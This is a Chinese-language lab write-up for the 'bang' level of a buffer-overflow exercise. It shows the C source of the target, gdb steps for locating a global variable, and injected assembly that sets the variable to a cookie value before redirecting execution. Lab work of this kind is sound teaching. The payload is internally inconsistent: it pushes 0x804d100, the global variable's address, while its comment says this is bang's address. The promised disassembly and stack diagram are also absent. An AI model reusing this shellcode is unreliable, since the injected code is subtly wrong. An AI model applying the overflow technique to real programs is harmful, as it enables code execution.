这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。
栈结构:
第3关:bang
构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
先看一下bang的源码:
#define NORMAL_BUFFER_SIZE 32 void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。
0x804d100和0x804d108那一个是全局变量?
这里我用gdb调试,在getbuf函数设断点,运行,查看一下两个地址的值,很明显,0x804d100是全局变量。
注意这里的调试方法设置完断点后运行的指令
(gdb) r -u stu
这里的stu是userid !
到这里全局变量也找到了,那么我们也就能写出恶意代码来了。
movl $0x4f802594,0x804d100//将cookie赋值给全局变量 push $0x804d100 //函数bang的地址压入栈 ret